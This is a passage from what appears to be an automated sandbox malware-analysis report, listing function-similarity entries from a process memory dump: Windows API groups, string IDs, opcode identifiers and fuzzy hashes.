                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3218304859-0
                                                                                                                                                                            • Opcode ID: bfd33b311cee2062ccf4f7c99d60df25cce3d62e1d08c3ae9d56584007b3da53
                                                                                                                                                                            • Instruction ID: 9484ecba1905f220974c9f77b968c87ec7ce420a6d563ffa51bd38871a8d9f12
                                                                                                                                                                            • Opcode Fuzzy Hash: bfd33b311cee2062ccf4f7c99d60df25cce3d62e1d08c3ae9d56584007b3da53
                                                                                                                                                                            • Instruction Fuzzy Hash: 88F17F36B05A468AEB20DF65D0906BC3360FF8ABD8B5581B1DE4D87B99DF38E111C784
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2762341140-0
                                                                                                                                                                            • Opcode ID: 28da4375d56d9c7790266f2ac16f9c30a3cff06f711ae95f6c1a6b970e5d2d74
                                                                                                                                                                            • Instruction ID: 01527163ef5e2d9f7531e0f7f0d4f58cc11d8a25c49f100a666976d86c70b0cd
                                                                                                                                                                            • Opcode Fuzzy Hash: 28da4375d56d9c7790266f2ac16f9c30a3cff06f711ae95f6c1a6b970e5d2d74
                                                                                                                                                                            • Instruction Fuzzy Hash: 9DC12836A04B8585EB20EF6AE8842AD77A0FB89FD4F058076DE4E87769DF38D545C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1255039815-0
                                                                                                                                                                            • Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
                                                                                                                                                                            • Instruction ID: c60d37410f91f114b8b99e5ff8d06ae2749708975d9ef0d292ce2d372d36d7a5
                                                                                                                                                                            • Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
                                                                                                                                                                            • Instruction Fuzzy Hash: 6C618B36B046528AEB24EF71D8449BC37A8FB46BD8B144476DE0A93B9CEF38D945C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$LongWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 312131281-0
                                                                                                                                                                            • Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                                                                                                                                            • Instruction ID: 78c9ca3bf1c75a756c40c4bc38f49a0e749104b73f00e9dbbea7229827c871aa
                                                                                                                                                                            • Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                                                                                                                                            • Instruction Fuzzy Hash: F4718D36605A8586E720DF65E844AFD27A0FF89BD4F4141B2DA4E87BA8CF3DD186C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
                                                                                                                                                                            • String ID: \*.*
                                                                                                                                                                            • API String ID: 4047182710-1173974218
                                                                                                                                                                            • Opcode ID: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                                                                                                                                            • Instruction ID: f2e91f32a5463fedca02888e786a2a5acfb310ed45e89bdfb051e18cc64de592
                                                                                                                                                                            • Opcode Fuzzy Hash: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                                                                                                                                            • Instruction Fuzzy Hash: CA815632A08A4295EB20EF65D4911FD6B60EF857D4F800072EE8E876AEDF7CE549D700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
                                                                                                                                                                            • String ID: ?
                                                                                                                                                                            • API String ID: 500310315-1684325040
                                                                                                                                                                            • Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
                                                                                                                                                                            • Instruction ID: a905f8361ed3a386929024f3f45eada6a5c8204b6134a1251ef6d48a61c92149
                                                                                                                                                                            • Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
                                                                                                                                                                            • Instruction Fuzzy Hash: 14616936A186428AE7709F25E8406ED77A4FF897D4F441176EA0DC6B98DF3CE8428750
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorLast$closesocket$bindlistensocket
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 540024437-0
                                                                                                                                                                            • Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
                                                                                                                                                                            • Instruction ID: 2b487640a44cde6117f04f07c5454ea0b8368c572626278a02c46f172eff9328
                                                                                                                                                                            • Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
                                                                                                                                                                            • Instruction Fuzzy Hash: CC416FB2B0864286EB20EF26D45026C6760FF86FE4F0446B1DE5E8779ADF3CD1518704
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: NULL Pointer assignment$Not an Object type
                                                                                                                                                                            • API String ID: 0-572801152
                                                                                                                                                                            • Opcode ID: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
                                                                                                                                                                            • Instruction ID: 2b4e1b013a6619be5dccaeaac13a97dcfa242a127fea5ee0d7442790ccc01cea
                                                                                                                                                                            • Opcode Fuzzy Hash: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
                                                                                                                                                                            • Instruction Fuzzy Hash: F2E1D276A08B829AEB20DF65E4402AD77A0FB85BD8F404176DE4D87B98DF3CE545C708
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                                                                                                                                            • String ID: \*.*
                                                                                                                                                                            • API String ID: 2649000838-1173974218
                                                                                                                                                                            • Opcode ID: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
                                                                                                                                                                            • Instruction ID: c62209c26841742cd4a9ffb83d3327aa68e274ef2741dafd38cb961c6df37943
                                                                                                                                                                            • Opcode Fuzzy Hash: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
                                                                                                                                                                            • Instruction Fuzzy Hash: D5419432A28A4292EB60EF25E8902ED6360FF85BD0F901171EA5E8369DDF7CE505C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1239891234-0
                                                                                                                                                                            • Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                                                                                                                                            • Instruction ID: 89688fa8b43fee3be07e15a1f82ef76bb5d40831d365bd354b0f7b67acffc453
                                                                                                                                                                            • Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                                                                                                                                            • Instruction Fuzzy Hash: 85317136608B8186DB70DF25E8406AE73A4FB89794F500136EA9D83B9CDF3CC655CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1413079979-0
                                                                                                                                                                            • Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                                                                                                                                            • Instruction ID: 17defe2834f02acea6a2c1669deb45fabbabee630447e4e6e476ef5f4e5f7da8
                                                                                                                                                                            • Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                                                                                                                                            • Instruction Fuzzy Hash: 76314736608B8586DB749F12E4807AAB7E4FB8AFD0F15412ADE8D83B18DF39D445CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 146765662-0
                                                                                                                                                                            • Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                                                                                                                                            • Instruction ID: c5c2177a7ae48af34fdb58616556a26f323e00f02a47849456974af64aba4e94
                                                                                                                                                                            • Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                                                                                                                                            • Instruction Fuzzy Hash: E3F0AC79A14A0183EB14EF76DC580296361EF89FE5B055271CD1EC6368CE3CD4D99300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 1927845040-438819550
                                                                                                                                                                            • Opcode ID: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
                                                                                                                                                                            • Instruction ID: 800f7e55dbb1ecd1c0df567417a7100661d3f026453d98ea698d1f4fb8bf88a3
                                                                                                                                                                            • Opcode Fuzzy Hash: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
                                                                                                                                                                            • Instruction Fuzzy Hash: 5251AE32608B8285EB20DF69E8852AD27B0FB467D8F5441B2DE5D8379DDF38E949C700
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
                                                                                                                                                                            • API String ID: 0-2187161917
                                                                                                                                                                            • Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
                                                                                                                                                                            • Instruction ID: a00108c60c87a370816da08520149cd8d3812c199853988ad9c2e13e1cff4348
                                                                                                                                                                            • Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
                                                                                                                                                                            • Instruction Fuzzy Hash: 81B29D72A086928AEB748F65D4402BD37A1FB46BD8F104176EB4ED7B9CDF38E9419700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorLastinet_addrsocket
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4170576061-0
                                                                                                                                                                            • Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
                                                                                                                                                                            • Instruction ID: 439b40905eafe3fb2fd23cd5b44b1a951f73e4ac2571f1e8b2915a815a583109
                                                                                                                                                                            • Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
                                                                                                                                                                            • Instruction Fuzzy Hash: 8C51E332B1865281DB20EF26E4146697B90FF8AFE0F4481B1DE5E8779ADE3CE100C780
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateFullInitializeInstanceNamePathUninitialize
                                                                                                                                                                            • String ID: .lnk
                                                                                                                                                                            • API String ID: 3769357847-24824748
                                                                                                                                                                            • Opcode ID: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
                                                                                                                                                                            • Instruction ID: 96d02171767f4ef6ace56dd84086fdbbeca52bc45df18254f155dd16ef1d6342
                                                                                                                                                                            • Opcode Fuzzy Hash: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
                                                                                                                                                                            • Instruction Fuzzy Hash: 55D15976B08A46C5EB20DF6AD0906AC37B0FB9AFC9B488072DE4D97B59DE39D445C300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _handle_error
                                                                                                                                                                            • String ID: !$VUUU$fmod
                                                                                                                                                                            • API String ID: 1757819995-2579133210
                                                                                                                                                                            • Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
                                                                                                                                                                            • Instruction ID: 82f88f71f58272fe03afe19efdb310926fadedcca2da674a9877eb5f805076df
                                                                                                                                                                            • Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
